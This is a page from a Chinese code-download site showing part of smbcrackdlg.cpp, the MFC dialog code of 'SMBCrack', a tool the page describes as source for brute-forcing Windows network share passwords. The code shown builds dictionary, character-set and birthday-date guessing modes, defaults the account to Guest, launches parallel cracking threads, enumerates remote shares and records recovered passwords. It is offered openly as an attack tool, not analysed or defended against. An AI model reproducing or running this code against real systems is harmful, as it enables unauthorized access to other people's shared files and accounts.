⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 smbcrackdlg.cpp

📁 使用暴力法破解Windows共享密码的源代码
💻 CPP
📖 第 1 页 / 共 2 页
字号:
		}
	}
	
	m_vStatus=0;
	uCrackMode=0;
	szCharSet[0]=0;
	UpdateData(TRUE);
	nMaxPwdLen=m_vPwdLength;
	if(m_cUseDictionary.GetCheck())
	{
		m_cDictionaryFile.GetWindowText(szDictionaryFile,sizeof(szDictionaryFile)-1);
		if(!(szDictionaryFile[0]))
		{
			m_cStatus.SetWindowText("Dictionary filename needed.    Ready...");
			return;
		}
		fDictionary=fopen(szDictionaryFile,"r");
		if(!fDictionary)
		{
			m_cStatus.SetWindowText("Can't open dictionary file.    Ready...");
			return;
		}
		uCrackMode|=USEDICTIONARY;
	}

	if(m_cLetter.GetCheck())
		strcat(szCharSet,"abcdefghijklmnopqrstuvwxyz");
	if(m_cNumber.GetCheck())
		strcat(szCharSet,"0123456789");
	if(m_cSymbol.GetCheck())
		strcat(szCharSet,"`~!@#$%^&*()*+-/_=;':\",./?><\\|");
	if(nCharSetLen=strlen(szCharSet))
		uCrackMode|=BROUTEFORCE;

	if(m_cDate.GetCheck())
	{
		iStartYear=m_vStartYear;
		iEndYear=m_vEndYear;
		iCurYear=iStartYear;
		iCurMonth=1;
		iCurDay=1;
		iDayFmt=0;
		iMonthFmt=0;
		iYearFmt=0;
		uCrackMode|=USEBIRTHDAY;
	}

	if(!uCrackMode)
	{
		m_cStatus.SetWindowText("Please specify crack mode.    Ready...");
		return;
	}

	if(uCrackMode&USEDICTIONARY)
		uCrackMode|=USINGDICTIONARY;
	if(uCrackMode&BROUTEFORCE)
		uCrackMode|=BROUTEFORCING;
	if(uCrackMode&USEBIRTHDAY)
		uCrackMode|=USINGBIRTHDAY;

	nCurPwdLen=0;
	szCrackedPwd[0]=0;
	m_cUserName.GetWindowText(m_vCrackStruct.szUserName,
							sizeof(m_vCrackStruct.szUserName));
	if(!m_vCrackStruct.szUserName[0])
		strcpy(m_vCrackStruct.szUserName,"Guest");
	SetTimer(PROGRESSTIMERID,1000,NULL);
	m_vCrackStruct.hParentWindow=m_hWnd;
	m_vCrackStruct.hStopCrack=CreateEvent(NULL,TRUE,FALSE,NULL);
	m_vCrackStruct.hCrackDone=UM_CRACKDONE;
	InitializeCriticalSection(&(m_vCrackStruct.csCurPwd));
	for(i=0;i<m_vMaxThreads;i++)
		if(hThread=CreateThread(NULL,0,Crack,&(m_vCrackStruct),0,&CrackThread))
		{			
			m_vThreads++;
			::SetThreadPriority(hThread,THREAD_PRIORITY_BELOW_NORMAL);
		}
		else
			break;
	m_cCrack.SetWindowText("Cancel");
	SetWindowText("SMBCrack---Cracking...");

}

void CSMBCrackDlg::OnTimer(UINT nIDEvent) 
{
	// TODO: Add your message handler code here and/or call default
	char szStatus[50];
	int iCurRes;

	if(nIDEvent==PROGRESSTIMERID&&(!m_vStatus))
	{
		iCurRes=iCurResource==0?nResources-1:iCurResource-1;
		sprintf(szStatus,"Tring %s to %s  Cracking...",szPwdShot,
			(Resources[iCurRes]).szRemoteResource);
		m_cStatus.SetWindowText(szStatus);		
	}
	CDialog::OnTimer(nIDEvent);
}

int CSMBCrackDlg::PrepareResource()
{
	int iCurResource;
	LV_ITEM ResItem;
	
	nCracked=0;
	if(!(nResources=m_cResource.GetItemCount()))
		return 1;
	if(!(Resources=(CrackResource *)calloc(nResources,sizeof(CrackResource))))
		return 2;
	ResItem.mask=LVIF_TEXT;
	for(iCurResource=0;iCurResource<nResources;iCurResource++)
	{
		ResItem.iItem=iCurResource;
		ResItem.iSubItem=0;
		ResItem.pszText=(Resources[iCurResource]).szRemoteResource;
		ResItem.cchTextMax=sizeof((Resources[0]).szRemoteResource);
		m_cResource.GetItem(&ResItem);
		InitializeCriticalSection(&((Resources[iCurResource]).csCracked));
		(Resources[iCurResource]).szPwd[0]=0;
		ResItem.iSubItem=1;
		ResItem.pszText=(Resources[iCurResource]).szPwd;
		ResItem.cchTextMax=sizeof((Resources[0]).szPwd);
		m_cResource.GetItem(&ResItem);
		if((Resources[iCurResource]).szPwd[0])
			nCracked++;
	}
		
	::iCurResource=0;
	::nNewPwd=1;

	return 0;	
}


void CSMBCrackDlg::CrackDone(UINT wParam, LONG lParam)
{
	char szStatus[50];
	int iCurResource;

	m_vStatus|=wParam;
	if(!(--m_vThreads))
	{
		KillTimer(PROGRESSTIMERID);
		m_cCrack.SetWindowText("Crack");
		SetWindowText("SMBCrack                By Raptor");
		m_cCrack.EnableWindow(TRUE);
		if(uCrackMode&USEDICTIONARY)
			fclose(fDictionary);
		CloseHandle(m_vCrackStruct.hStopCrack);
		DeleteCriticalSection(&(m_vCrackStruct.csCurPwd));

		for(iCurResource=0;iCurResource<nResources;iCurResource++)
		{
			DeleteCriticalSection(&((Resources[iCurResource]).csCracked));
		}
		free(Resources);

		sprintf(szStatus,"%d of %d cracked,",nCracked,nResources);
		if(m_vStatus&CRACKED)
			strcat(szStatus,"Cracking over  Ready...");
		else
		{
			if(m_vStatus&NOPASSWORD)
				strcat(szStatus,"no password to try  Ready...");
			else if(m_vStatus&CANCELED)
				strcat(szStatus,"Cracking canceled  Ready...");				
		}
		m_cStatus.SetWindowText(szStatus);
	}
}

void CSMBCrackDlg::CrackOut(UINT wParam, LONG lParam)
{
	CrackResource * crCracked=(CrackResource *)wParam;
	int iCurItem;
	LV_FINDINFO lvf;

	lvf.flags=LVFI_STRING;
	lvf.psz=crCracked->szRemoteResource;
	if((iCurItem=m_cResource.FindItem(&lvf))!=-1)
	{
		m_cResource.SetItemText(iCurItem,1,crCracked->szPwd);
	}
}

void CSMBCrackDlg::OnEndlabeleditResouce(NMHDR* pNMHDR, LRESULT* pResult) 
{
	LV_DISPINFO* pDispInfo = (LV_DISPINFO*)pNMHDR;
	// TODO: Add your control notification handler code here
	
	*pResult = TRUE;
}

void CSMBCrackDlg::OnItemchangedResouce(NMHDR* pNMHDR, LRESULT* pResult) 
{
	NM_LISTVIEW* pNMListView = (NM_LISTVIEW*)pNMHDR;
	// TODO: Add your control notification handler code here
	char szNewResource[100],*szTemp,chTemp;
	LV_ITEM ResItem;	
	int iAction=0,iTemp;
	EnumStruct * pEnumStruct;
	HANDLE hThread;
	DWORD EnumThread;

	*pResult = 0;
	if(pNMListView->iItem==-1||pNMListView->iSubItem!=0||
		(pNMListView->uChanged&LVIF_TEXT)==0)
		return;

	ResItem.mask=LVIF_TEXT;
	ResItem.iItem=pNMListView->iItem;
	ResItem.iSubItem=0;
	ResItem.pszText=szNewResource;
	ResItem.cchTextMax=sizeof(szNewResource);
	m_cResource.GetItem(&ResItem);

	if(strlen(szNewResource)==0)
	{
		m_cResource.DeleteItem(pNMListView->iItem);
		iTemp=m_cResource.GetItemCount()>0;
		m_cClear.EnableWindow(iTemp);
		m_cRemove.EnableWindow(iTemp);
		return;
	}
	if(strstr(szNewResource,"\\\\")==szNewResource)
	{
		if(!strchr(szNewResource+2,'\\'))
		{
			for(iTemp=0,chTemp=szNewResource[2];chTemp;
			szNewResource[iTemp]=chTemp,iTemp++,chTemp=szNewResource[iTemp+2]);
			szNewResource[iTemp]=0;
			iAction=1;
		}
	}
	else if(szTemp=strchr(szNewResource,'\\'))
	{
		if(szTemp>szNewResource)
		{
			for(iTemp=strlen(szNewResource);iTemp>=0;iTemp--)
				szNewResource[iTemp+2]=szNewResource[iTemp];
			szNewResource[0]='\\';
			szNewResource[1]='\\';
		}
		else
		{
			for(iTemp=strlen(szNewResource);iTemp>=0;iTemp--)
				szNewResource[iTemp+1]=szNewResource[iTemp];
		}
		m_cResource.SetItemText(pNMListView->iItem,pNMListView->iSubItem,
			szNewResource);

	}
	else if(strcmp(szNewResource,"New resource"))
		iAction=1;
		
	if(iAction)
	{
		m_cResource.DeleteItem(pNMListView->iItem);
		iTemp=m_cResource.GetItemCount()>0;
		m_cClear.EnableWindow(iTemp);
		m_cRemove.EnableWindow(iTemp);
		
		pEnumStruct=(EnumStruct *)calloc(1,sizeof(EnumStruct));
		pEnumStruct->hParentWindow=m_hWnd;
		pEnumStruct->hEnumOut=UM_ENUMOUT;
		strcpy(pEnumStruct->szRemoteComputer,"\\\\");
		strcat(pEnumStruct->szRemoteComputer+2,szNewResource);

		if(hThread=CreateThread(NULL,0,Enum,pEnumStruct,0,&EnumThread))
		{
			m_vEnums++;
			::SetThreadPriority(hThread,THREAD_PRIORITY_BELOW_NORMAL);
		}
	}
}

void CSMBCrackDlg::EnumOut(UINT wParam, LONG lParam)
{
	EnumStruct * pEnumStruct=(EnumStruct *)lParam;
	LV_ITEM ResourveItem;
	LV_FINDINFO lvf;
	int idxItem;
	NETRESOURCE * pNetRes;

	pNetRes=(NETRESOURCE *)pEnumStruct->ResourceBuffer;
	if(wParam)
	{
		lvf.flags=LVFI_STRING;
		lvf.psz=pNetRes->lpRemoteName;
		if(m_cResource.FindItem(&lvf)==-1)
		{
			idxItem=m_cResource.GetItemCount();
			ResourveItem.mask=LVIF_TEXT;
			ResourveItem.iItem=idxItem;
			ResourveItem.iSubItem=0;
			ResourveItem.pszText=pNetRes->lpRemoteName;
			ResourveItem.state=LVIS_FOCUSED;
			m_cResource.InsertItem(&ResourveItem);
			if(!idxItem)
			{
				m_cRemove.EnableWindow(TRUE);
				m_cClear.EnableWindow(TRUE);
			}
		}
		(pNetRes->lpRemoteName)[0]=0;
	}
	else
	{
		m_vEnums--;
		free(pEnumStruct);
	}
}

HBRUSH CSMBCrackDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor) 
{
	HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
	
	// TODO: Change any attributes of the DC here
	if((pWnd==&m_cStartYear||pWnd==&m_cEndYear)&&m_cDate.GetCheck())
	{
		pDC->SetBkColor(0xffffff);
		::DeleteObject(hbr);
		return CBrush(0xffffff);
	}
	
	// TODO: Return a different brush if the default is not desired
	return hbr;
}

void CSMBCrackDlg::OnChangeStartyear() 
{
	if(IsWindowVisible( ))
	{
		UpdateData(TRUE);
		if(m_vEndYear<m_vStartYear)
			m_vEndYear=m_vStartYear;
		UpdateData(FALSE);
	}
	
}

void CSMBCrackDlg::OnChangeEndyear() 
{
	if(IsWindowVisible( ))
	{
		UpdateData(TRUE);
		if(m_vStartYear>m_vEndYear)
			m_vStartYear=m_vEndYear;
		UpdateData(FALSE);
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -